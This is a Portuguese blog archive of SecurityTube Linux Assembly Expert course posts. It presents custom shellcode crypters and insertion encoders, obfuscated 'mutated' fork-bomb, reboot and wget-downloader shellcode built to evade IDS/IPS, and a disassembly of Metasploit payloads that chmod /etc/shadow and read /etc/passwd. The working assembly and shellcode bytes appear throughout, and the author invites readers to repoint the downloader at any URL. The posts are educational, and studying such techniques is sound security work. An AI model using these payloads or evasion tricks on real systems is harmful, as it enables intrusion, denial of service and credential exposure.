Tradutor

segunda-feira, 29 de abril de 2013

SLAE - 7th Assignment - Crypted Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
   SLAE - 6th Assignment - Polymorphic Shellcodes
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/7th.assignment


The Last Mission

Finalmente, o último assignment.

7th assignment:
- Criar um crypter customizado.
- Utilizar qualquer esquema de criptografia existente.
- Usar qualquer linguagem de programação.


Criptografia!

O vídeo sobre o assunto demonstra um encrypter e um decrypter, construídos em C, que usam o algoritmo de fluxo RC4 para processar o shellcode. De início eu não contemplei a que fim serviria um shellcode critptografado que não conteria seu decrypter embutido, portanto, agradeço ao Pedro Fausto pela objetiva explanação que me deixou inteirado das possíveis finalidades: uso na comunicação entre dois pontos já comprometidos; uso entre um bastião e seus zumbis... Em suma, para qualquer uso evasivo entre pontos!

Encontrei um algoritmo candidato para a implementação do crypter: TEA - Tiny Encryption Algorithm. Entretanto, vi que ele não seria viável por conta do tamanho que ele teria em assembly; haja vista não ter aberto mão de criar o built-in decrypter.

Só tinha uma maneira, criar meu próprio tiny cipher.


Uzumaki Cipher (Swirling Everything)

Usei os moldes da Stream Cipher para criar o Uzumaki (うずまき) Cipher; a cifra consiste no processo de um XOR com um valor estático, seguido de mais um XOR com um valor pseudorandom (keystream), terminando com o ADD de um valor estático.

Crypter:
(shellcode[x-1] ^ (shellcode[x] ^ xorByte)) + addByte

Built-in Decrypter:


O uzumaki cipher é um algoritmo simples que pode ser utilizado com sucesso em shellcodes quando o assunto é evasão. Devo ressaltar que um dado criptografado, para sua própria segurança, não deve conter informações que possam levar à desencriptação; assim, o built-in decrypter do fluxograma acima (no git com código comentado) foi criado apenas como uma PoC. Contudo, nada obsta seu uso.


Uso

# ./uzumaki_crypter.py -a 01 -x 5d -s $'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
...
Crypted shellcode:

"\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11

Crypted shellcode with decrypter built-in:

"\x29\xc9\x74\x14\x5e\xb1\x14\x46\x8b\x06\x83\xe8\x01\x34\x5d\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8\xe7\xff\xff\xff\x31\xa6\x64\x4c\x0d\xe7\x08\x65\x1b\x5e\x02\x47\x5e\x1b\x11\x57\x5b\xbb\x38\x74\x11";

0x29,0xc9,0x74,0x14,0x5e,0xb1,0x14,0x46,0x8b,0x06,0x83,0xe8,0x01,0x34,0x5d,0x32,0x46,0xff,0x88,0x06,0xe2,0xf1,0xeb,0x05,0xe8,0xe7,0xff,0xff,0xff,0x31,0xa6,0x64,0x4c,0x0d,0xe7,0x08,0x65,0x1b,0x5e,0x02,0x47,0x5e,0x1b,0x11,0x57,0x5b,0xbb,0x38,0x74,0x11


Fim!?

É isso aí pessoal! Essa foi a última missão do curso SLAE! E até que foi simples, porque no decorrer dos posts, aprendemos muitas formas de utilizar a linguagem assembly para a criação de vários tipos de shellcodes.

Espero que tenham gostado!

[]


Mais Informações

domingo, 21 de abril de 2013

SLAE - 6th Assignment - Polymorphic Shellcodes

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
   SLAE - 5th Assignment - Metasploit Shellcodes Analysis
*/


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/6th.assignment


Missão

Segue abaixo o determinado pelo Vivek para este assignment.

6th assignment:
- Criar versão polimórfica de três shellcodes do repositório Shell-Storm.
- As versões polimórficas não podem ser maiores que 150% do tamanho das versões originais.
- Pontos adicionais para quem os construir com menor tamanho que o original.


Polimorfismo! Mesmo?!

Antes de iniciar a missão, procurei me inteirar do que realmente seria um shellcode polimorfo.

- Google, você me ajuda?
- "Yes 'master'! I have one great source for you".
- (⊙_◎) Qual?
- "Polymorphic Shellcode Engine - CLET Team".
- Oh, muito obrigado google. (⊙‿⊙)
- "You're welcome! But I need your clicks..."
- Você não me chamou de mestre, agora há pouco?
- "Yes, but it's the world! Master? (oT-T)尸 CLICK ME NOW!".
- Oh, diabos! (ノдヽ)

Após essa calorosa, bilíngue e esquizofrênica discussão filosófica, li o grandioso paper do CLET Team sobre a construção de um motor para criação de shellcodes polimórficos.

Minha concepção a respeito do tema é de que um shellcode não deveria ser chamado de polimorfo mesmo que um motor externo o altere inúmeras vezes. O termo polimorfismo vai além do fato de que o payload foi alterado com este fim. Vejamos a definição do dicionário priberam.

polimorfo |ó| 
(poli- + -morfo)
adj.
1. Que se apresenta sob diversas formas.
Sujeito a variar de forma.

No âmbito dos vírus, o vocábulo é empregado corretamente, haja vista o próprio vírus se replicar e sua "cópia", mesmo que destinada a fim idêntico, ter sua composição diferenciada.

Um shellcode se replica? Não! Cabe salientar que se uma praga qualquer, que se replica com mutação, tem a capacidade de utilizar um shellcode (modificado ou não), ELA (praga) é que tem a característica polimórfica.

O que vemos aos montes na internet são esses autoproclamados shellcodes polimórficos que de polimórficos não tem nada, apenas, quem sabe, a capacidade de evasão. Eu, portanto os chamo de mutated shellcodes, ora terem sido modificados manualmente ou através de um motor externo como o ADMmutate.

Bom, mas essa é uma concepção minha.

Esta missão exige que a versão "mutated" não seja maior que 150% do original. Isso é meio difícil de se conseguir, principalmente se o shellcode original já tiver tamanho reduzido. E estamos falando de inserção de bytes lixo, inclusão de NOPs, extrapolação do resultado de uma instrução em duas ou mais etc. Em suma, é uma missão não factível! A não ser que eu escolhesse um shellcode gigante, mal codificado, e dali fizesse o seu enxugamento. Contudo, o resultado não seria capaz de evadir IPSs.

Vivek também pontuará por "mutated" shellcodes menores que o original.
(︶︹︺) Not going to happen. Melhor que sejam maiores e sirvam ao propósito.

Let's begin.


1st shellcode - fork bomb

Original:
http://shell-storm.org/shellcode/files/shellcode-214.php

 _start:
        push byte 2
        pop eax
        int 0x80
        jmp short _start

Temos acima um clássico fork bomb usando a syscall __NR_fork 2.

Modifiquemo-lo.

_start:
        xor edi, edi
        jmp $+3
        db 0xe8
        mov dl, 29
        xchg edi, eax
        sub eax, 27
        int 0x80
        jmp _start

Na versão mutated, utilizei o register EDI para salvar o valor 29 (__NR_pause) e posteriormente o copiar para EAX, quando então ele é subtraído, restando-lhe o valor 2 da syscall fork. Fiz uso também da técnica de false disassembly (obfuscated assembly) com a JMP sobre o byte E8 (opcode da instrução CALL). Vejam a saída do objdump.

08048060 <_start>:
 8048060: 31 ff                 xor    edi,edi
 8048062: eb 01                 jmp    8048065 <_start+0x5>
 8048064: e8 b2 1d 97 83       call   8b9b9e1b <_end+0x83970dab>
 8048069: e8 1b cd 80 eb       call   f3854d89 <_end+0xeb80bd19>
 804806e: f1                   icebp

Se as ferramentas IDS/IPS não utilizarem uma análise profunda como a GetPC (Recursive Traversal), a finalidade do shellcode não será identificada.

Original: 7 bytes
Mutated: 15 bytes

Next.


2nd shellcode - reboot

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-639.php

        mov    $0x24,%al
        int    $0x80
        xor    %eax,%eax
        mov    $0x58,%al
        mov    $0xfee1dead,%ebx
        mov    $0x28121969,%ecx
        mov    $0x1234567,%edx
        int    $0x80
        xor    %eax,%eax
        mov    $0x1,%al
        xor    %ebx,%ebx
        int    $0x80

Desta vez modificaremos um shellcode que chama a syscall sync (para evitar perda de arquivos) e a reboot.

Segue a versão modificada.

        ; void sync(void);
        ; sync()

        sub edi, edi
        jz $+3
        db 0xe8
        add edi, 36
        xchg eax, edi
        jmp $+3
        db 0xe1
        int 0x80


        ; int reboot(int magic, int magic2, int cmd, void *arg);
        ; reboot(0xfee1dead, 0x28121969, 0x1234567, not_used)

        jmp $+3
        db 0xff
        push 0x29
        pop ecx
        jmp $+3
        db 0x01
        mov ebx, 0x1234567
        mov edx, 0xffc29bca
        xor edx, ebx

        jnz $+3
        db 0xe7
        xchg ebx, edx
        lea eax, [ecx+0x2f]
        lea ecx, [ecx+0x28121940]
        jmp $+4
        db 0xe8, 0x01
        int 0x80

O código faz o mesmo que o original, com a diferença de não usar a syscall exit. Pensem comigo: se o sistema já estará em processo de reinicialização, para que se preocupar em fechar o programa? ;)

Também utilizei a técnica da SUB reg, reg, para zerar o registrador, seguida de uma JZ. Como a subtração sempre setará o ZF, sempre haverá o jump. Essa é mais uma técnica que embaralha a detecção do shellcode. Podem perceber que também não fiz uso dos valores imediatos corretos; eles são calculados durante a execução. Outra técnica empregada foi a de permutar os registradores, confundindo cada vez mais a identificação do objetivo do código.

Outro jump utilizado é a JNZ, logo após o XORing de EDX e EBX; como eles tem valores diferentes, a ZF nunca será setada, condicionando a JNZ a sempre efetuar o jump. ;)

Abaixo, a saída do objdump.


08048060 <_start>:
 8048060:    29 ff                    sub    %edi,%edi
 8048062:    74 01                    je     8048065 <_start+0x5>
 8048064:    e8 83 c7 24 97           call   9f2947ec <_end+0x9724b754>
 8048069:    eb 01                    jmp    804806c <_start+0xc>
 804806b:    e1 cd                    loope  804803a <_start-0x26>
 804806d:    80 eb 01                 sub    $0x1,%bl
 8048070:    ff 6a 29                 ljmp   *0x29(%edx)
 8048073:    59                       pop    %ecx
 8048074:    eb 01                    jmp    8048077 <_start+0x17>
 8048076:    01 bb 67 45 23 01        add    %edi,0x1234567(%ebx)
 804807c:    ba ca 9b c2 ff           mov    $0xffc29bca,%edx
 8048081:    31 da                    xor    %ebx,%edx
 8048083:    75 01                    jne    8048086 <_start+0x26>
 8048085:    e7 87                    out    %eax,$0x87
 8048087:    da 8d 41 2f 8d 89        fimull -0x7672d0bf(%ebp)
 804808d:    40                       inc    %eax
 804808e:    19 12                    sbb    %edx,(%edx)
 8048090:    28 eb                    sub    %ch,%bl
 8048092:    02 e8                    add    %al,%ch
 8048094:    01 cd                    add    %ecx,%ebp
 8048096:    80                       .byte 0x80

Tem que ter um olho muito treinado! :D

Original: 33 bytes
Mutated: 55 bytes

Antes do Next, leiam sobre os easter eggs, magic numbers do Linus Torvalds usados na syscall reboot.

Next.


3rd shellcode - execve wget

Original (AT&T syntax):
http://shell-storm.org/shellcode/files/shellcode-611.php

        push   $0xb
        pop    %eax
        cltd   
        push   %edx
        push   $0x61616161
        mov    %esp,%ecx
        push   %edx
        push   $0x74
        push   $0x6567772f
        push   $0x6e69622f
        push   $0x7273752f
        mov    %esp,%ebx
        push   %edx
        push   %ecx
        push   %ebx
        mov    %esp,%ecx
        int    $0x80
        inc    %eax
        int    $0x80

Esse último payload faz uso da syscall execve para instanciar o wget e baixar o arquivo desejado.

Seguindo as mesmas técnicas já mencionadas, segue a versão modificada.

        ; int execve(const char *path, char *const argv[], char *const envp[]);
        ; execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0)

        jmp $+3
        db 0xe8
        sub ebx, ebx
        jz $+3
        db 0x83
        mul ebx
        mov ebp, -11

        jmp $+3
        db 0xe8
        push 0x72456541
        sub esi, esi
        jz $+3
        db 0x83
        pop esi
        push esi
        xor esi, 0x3e1f4a25
        push esi

        jmp $+3
        db 0x33
        push 0x672e7369
        mov [esp+12], eax
        mov ecx, esp


        ; /usr/bin/wget

        push 0x74
        jmp $+3
        db 0xe3
        push 0x6567772f
        jmp $+3
        db 0x83
        push 0x6e69622f
        jmp $+3
        db 0x33
        push 0x7273752f
        lea ebx, [esp]

        jmp $+3
        db 0x83
        push eax
        push ecx                ; argv address
        push ebx                ; file name address
        mov ecx, esp            ; pointer to the file name and argv

        neg ebp

        xchg eax, ebp
        jmp $+3
        db 0x83
        int 0x80

E abaixo, a saída do objdump.

08048060 <_start>:
 8048060: eb 01                 jmp    8048063 <_start+0x3>
 8048062: e8 29 db 74 01       call   9795b90 <__bss_start+0x174cad0>
 8048067: 83 f7 e3             xor    edi,0xffffffe3
 804806a: bd f5 ff ff ff       mov    ebp,0xfffffff5
 804806f: eb 01                 jmp    8048072 <_start+0x12>
 8048071: e8 68 41 65 45       call   4d69c1de <__bss_start+0x4565311e>
 8048076: 72 29                 jb     80480a1 <_start+0x41>
 8048078: f6 74 01 83           div    BYTE PTR [ecx+eax*1-0x7d]
 804807c: 5e                   pop    esi
 804807d: 56                   push   esi
 804807e: 81 f6 25 4a 1f 3e     xor    esi,0x3e1f4a25
 8048084: 56                   push   esi
 8048085: eb 01                 jmp    8048088 <_start+0x28>
 8048087: 33 68 69             xor    ebp,DWORD PTR [eax+0x69]
 804808a: 73 2e                 jae    80480ba <_start+0x5a>
 804808c: 67 89 44 24           mov    DWORD PTR [si+0x24],eax
 8048090: 0c 89                 or     al,0x89
 8048092: e1 6a                 loope  80480fe <_start+0x9e>
 8048094: 74 eb                 je     8048081 <_start+0x21>
 8048096: 01 e3                 add    ebx,esp
 8048098: 68 2f 77 67 65       push   0x6567772f
 804809d: eb 01                 jmp    80480a0 <_start+0x40>
 804809f: 83 68 2f 62           sub    DWORD PTR [eax+0x2f],0x62
 80480a3: 69 6e eb 01 33 68 2f imul   ebp,DWORD PTR [esi-0x15],0x2f683301
 80480aa: 75 73                 jne    804811f <_start+0xbf>
 80480ac: 72 8d                 jb     804803b <_start-0x25>
 80480ae: 1c 24                 sbb    al,0x24
 80480b0: eb 01                 jmp    80480b3 <_start+0x53>
 80480b2: 83 50 51 53           adc    DWORD PTR [eax+0x51],0x53
 80480b6: 89 e1                 mov    ecx,esp
 80480b8: f7 dd                 neg    ebp
 80480ba: 95                   xchg   ebp,eax
 80480bb: eb 01                 jmp    80480be <_start+0x5e>
 80480bd: 83 cd 80             or     ebp,0xffffff80

Bem diferente, não acham?

Ao rodar o payload, é feito o download de um arquivo; se vocês acompanharam os posts desde o início, vão saber dizer o conteúdo dele. Façam isso! Aguardo contato informando o respectivo conteúdo. E após descobrirem, aproveitem e modifiquem-no para usar a url que quiserem.

Original: 42 bytes
Mutated: 96 bytes

End.


Accomplished

Atentem que poderíamos ter utilizado criptografia no próprio shellcode para fortalecer a sua mutação; mas esse é o tema da sétima e última missão.

Vemo-nos lá!

o//


Mais Informações

sábado, 20 de abril de 2013

SLAE - 5th Assignment - Metasploit Shellcodes Analysis

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
   SLAE - 4th Assignment - Encoding and Decoding Gollums
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/5th.assignment


Missão

Olá! Estou de volta com a quinta missão do curso SLAE.

5th assignment:
- dissecar três shellcodes do Metasploit utilizando ndisasm (ou gdb) e libemu
- apresentar análise


1st - linux/x86/chmod

# msfpayload linux/x86/chmod S

       Name: Linux Chmod
     Module: payload/linux/x86/chmod
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

A syscall chmod recebe dois argumentos, o primeiro é o caminho ou arquivo a ter as permissões setadas, e o segundo é o bitmask resultado dos respectivos octais "ORed".

O payload linux/x86/chmod modifica as permissões de acesso do arquivo /etc/shadow para 0666.

# msfpayload linux/x86/chmod R | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Ele inicia com a instrução CDQ no intento de zerar EDX; aqui, já econtramos uma falha no shellcode do msf. Se houver lixo em EAX (um número negativo, por exemplo) EDX não será zerado, pois o CDQ copia o sign bit 31 de EAX para todos os bits de EDX.

00000000  99                cdq

A segunda instrução coloca o valor 15 ou 0xf em hexa no topo da STACK para seguidamente ser retirado e inserido em EAX.

00000001  6A0F              push byte +0xf    __NR_chmod
00000003  58                pop eax

Salvando EDX (supostamente 0) na stack.

00000004  52                push edx

"Percebi que essa última instrução, se removida, não afeta o shellcode, uma vez que o nome do arquivo não é inserido na STACK. Serão, então, a CDQ e a PUSH EDX, tentativas de evasão de IPS/IDS?"

Agora, o shellcode faz uma CALL para o EIP somado de 22 bytes. Esta call é utilizada em conjunto com a próxima instrução que retirará o novo endereço de EIP da STACK e salvará em EBX, onde o nome do arquivo (primeiro argumento da syscall) está em forma de bytes.

00000005  E80C000000        call dword 0x16    Mais um problema no payload - NULL bytes
...
00000016  5B                 pop ebx

Vejam que se convertermos os bytes do trecho entre a CALL (byte 5) e o destino (byte 16) em string, encontraremos o nome do arquivo.

2F                das
657463            gs jz 0x71
2F                das
7368              jnc 0x79
61                popad
646F              fs outsd
7700              ja 0x16

A string é hardcoded no payload com a terminação NULL (0).

# python
>>>  bytes.fromhex("2F6574632F736861646F7700")
b'/etc/shadow\x00'

No gdb, podemos verificar isso mais facilmente.

(gdb) x/s $ebx
0x804974a <shellcode+10>: "/etc/shadow"

(gdb) x/12bx $ebx
0x804974a <shellcode+10>: 0x2f 0x65 0x74 0x63 0x2f 0x73 0x68 0x61
0x8049752 <shellcode+18>: 0x64 0x6f 0x77 0x00

Em seguida, é inserido na STACK e retirado com POP ECX o bit mask para uso como segundo argumento da syscall chmod.

00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx

O valor hexa 0x1b6 corresponde ao octal 0666.

# printf '%o\n' 0x01b6
666

ou

# printf '%x\n' 0666 (lembre-se de colocar o zero à esquerda)
0x1b6

O restante do payload trata de chamar a syscall chmod com a INT 0x80 e fechar o programa explorado.

0000001D  CD80              int 0x80

0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

O chmod do msf tem 36 bytes. Dele consegui diminuir 2 bytes e ainda evitar possíveis bytes lixo; vejam abaixo.




2nd - linux/x86/read_file

# msfpayload linux/x86/read_file PATH=/etc/passwd S

       Name: Linux Read File
     Module: payload/linux/x86/read_file
    Version: 
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 180
       Rank: Normal

Provided by:

  hal

Basic options:

Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH  /etc/passwd      yes       The file path to read

Description:

  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

O payload read_file faz uso de quatro syscalls: open, read, write e exit. Mais informações: man 2 syscall.

# msfpayload linux/x86/read_file PATH=/etc/passwd R | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  0000              db 0x00

Encontramos mais uma vez o uso do JMP/CALL/POP para obter o endereço da string e, neste caso, copiá-lo para EBX.

00000000  EB36              jmp short 0x38
...
00000038  E8C5FFFFFF        call dword 0x2
...
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx

A string se localiza logo abaixo da instrução CALL.

E8C5FFFFFF        call dword 0x2
2F                das
657463            gs jz 0xa4
2F                das
7061              jo 0xa5
7373              jnc 0xb9
7764              ja 0xac
00                db 0x00

python
>>>  bytes.fromhex("2F6574632F70617373776400")
b'/etc/passwd\x00'

A continuação do shellcode é de fácil compreensão.

int open(["/etc/passwd", 0], 0);

00000002  B805000000        mov eax,0x5    NULL bytes
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

Após obtermos o retorno de open (file descriptor), continuamos com a syscall read, que copiará 4096 bytes do file descriptor dentro da STACK.

ssize_t read(ebx, *esp, 4096);

0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

Eu realmente não entendi o motivo do payload utilizar EDI, e portanto fazer a cópia duas vezes do ponteiro de ESP. Pois bastava fazer: mov ecx,espSerá isso mais uma tentativa de evasão?

Agora que já temos os dados do arquivo, vamos escrevê-lo no stdout.

ssize_t write(1, *esp, edx);

0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

E sair do programa graciosamente.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

A versão do msf tem 73 bytes. A minha tem apenas 51 bytes, é à prova de lixo e livre de null bytes.


O limite de leitura e escrita de 4096 bytes é uma garantia para não haver estouro de pilha. Podemos saber qual o limite da STACK utilizando o ulimit.

# ulimit -a
...
stack size              (kbytes, -s) 8192
...

E se precisarmos de mais espaço na STACK, podemos aumentar o seu tamanho antes de a utilizarmos.

# man 2 setrlimit
...
int setrlimit(int resource, const struct rlimit *rlim);
...

;)


3rd - linux/x86/exec

# msfpayload linux/x86/exec S

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 143
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

# msfpayload linux/x86/exec CMD=/bin/sh R | ndisasm -u -

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E808000000        call dword 0x25
0000001D  2F                das
0000001E  62696E            bound ebp,[ecx+0x6e]
00000021  2F                das
00000022  7368              jnc 0x8c
00000024  005753            add [edi+0x53],dl
00000027  89E1              mov ecx,esp
00000029  CD80              int 0x80

O execve é um velho conhecido nosso, correto? Por isso, deixo esta análise com vocês. Comparem o assembly do msf com o do Vivek e depois com o Tiny Execve Sh, o qual já apresentei em post anterior.

Dǘvidas? Críticas!? Comentem. Será um prazer respondê-los.

Até a próxima.

o//


Mais Informações

sexta-feira, 12 de abril de 2013

SLAE - 4th Assignment - Encoding and Decoding Gollums

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
   SLAE - 1st Assignment - Shell Bind TCP
   Hacking do Dia - Shell Bind TCP Random Port
   SLAE - 2nd Assignment - Shell Reverse TCP
   O menor do mundo? Yeah? So Beat the Bits!  
   SLAE - 3rd Assignment - Caçando Ovos?
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:
https://github.com/geyslan/SLAE/tree/master/4th.assignment

Shell-Storm:


Olá pessoal!

Com este post prosseguiremos as missões do curso SLAE.

Gostaria de ressaltar que, no último vídeo do treinamento, Vivek determinou que o aluno que reduzir os shellcodes e/ou tê-los aceitos em repositórios receberá pontuação extra para a certificação.

Eu venho tentando, além de reduzir o tamanho, criar versões dos shellcodes com propriedades singulares; exemplos são o Shell Bind TCP (GetPC) e o Shell Bind TCP (com REUSE), este que acabou originando o Tiny Shell Bind TCP Random Port (57 bytes).

Porém, nesta missão, Vivek foi claro quanto à originalidade do shellcode. Ou seja, neste payload, o que importará realmente é o engendramento de um método de inserção divergente do que ele demonstrou em aula.


Insertion Decoder

Um Shellcode Insertion Decoder realiza o realinhamento de um shellcode devidamente encodado com inserção de garbage bytes. Sua utilização é voltada para a tentativa de bypass de ferramentas que detectam injeção de shellcode.

Na respectiva aula ele cria um decoder sequencial que substitui gargabe bytes ao copiar o byte verdadeiro na sequencia correta. Inicialmente, pensei em apenas remodelar o padrão de inserção da versão dele para, em vez de fazer o decoding de apenas um garbage byte (x_x_x_), fazer de dois (x__x__x__). Mas nem cheguei a amadurecer a ideia, desisti ao realizar que tal modificação não seria nem original muito menos útil num caso concreto.


Cachola para que te quero?!

Após alguns dias da resignação à ideia anterior, eis que me acendeu uma luz acima da cabeça! Por que não criar um decoder com análise para qualquer padrão? Deixando nas mãos do usuário a possibilidade de inserir o lixo no shellcode da forma que melhor lhe aprouver? Isso sim seria original!

Why not?!


Assembly e C (perfect couple)

O shellcode exigido na missão era o do execve_stack já corretamente encodado. Como um plus, reduzi o tamanho dele engendrando o Tiny Execve Sh (21 bytes), cujos código e shellcode podem ser visualizados no github.

Inseri o garbage byte em posições aleatórias dentro desse shellcode e, após um estudo algorítmico concretizei o decoder em asm como podem ver abaixo.



O que ele faz é percorrer a área da memória na qual o shellcode está inserido, comparando o byte lido com o byte lixo, e reordenando-os quando resolvidas as condições. Dúvidas? Leia o código fonte, está bem comentado.


Pronto para publicar!

Logo após ter feito push no git, já me preparando para escrever este post, tweetei para o Vivek!

Wow!

Ele não só apenas gostou do decoder, pediu também que eu fizesse um extra:

Well, lets go!


An Unexpected Journey

Nunca tinha programado em python, a não ser modificado algum pedaço de código ou lido rapidamente. Entretanto, sempre ouvi falar que é uma ótima linguagem para aprender, assim como para diversos outros fins.

The campaign begins...

Um obstáculo:
- Uso de argumentos para receber o shellcode e demais parâmetros.

Não estava conseguindo preencher a variável shellcode da forma correta... descobri, após garimpar os pergaminhos do python, que era por conta da necessidade do uso de encoding. Mas mesmo usando o encode(), este baggins não conseguia fazer com que a string shellcode ficasse como bytearray. Até que o wizard sigsegv empunhou o seu cajado proclamando: error handler surrogateescape. Valeu, sig!

Outro obstáculo:
- Bytes, Strings...

Continuando na campanha, precisei comparar, em alguns casos, string a byte... como era meu primeiro contato com a linguagem quase fui cozido por alguns trolls até me lembrar de umas dicas dadas pelo Pedro Fausto, um Dwarf que guerreia distante do Reino perdido de Erebor. hex() e int() foram suas armas. Valeu, Pedro!


Epílogo


Uso:
# ./insertion_encoder.py -h
# ./insertion_encoder.py -g f3 -p xxbbxb -e f1f1 -s $'\x31...\x80'

@geyslangb @felipensp @pedrofaustojr and the code really looked 133t on my iPhone screen ... ;)

Not at all, Vivek.


Galadriel: Why the Halfling?

Gandalf: Saruman believes it is only great power that can hold evil in check, but that is not what I have found. I found it is the small everyday deeds of ordinary folk that keep the darkness at bay... small acts of kindness and love. Why Bilbo Baggins? That's because I am afraid and it gives me courage.


#\o/
Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.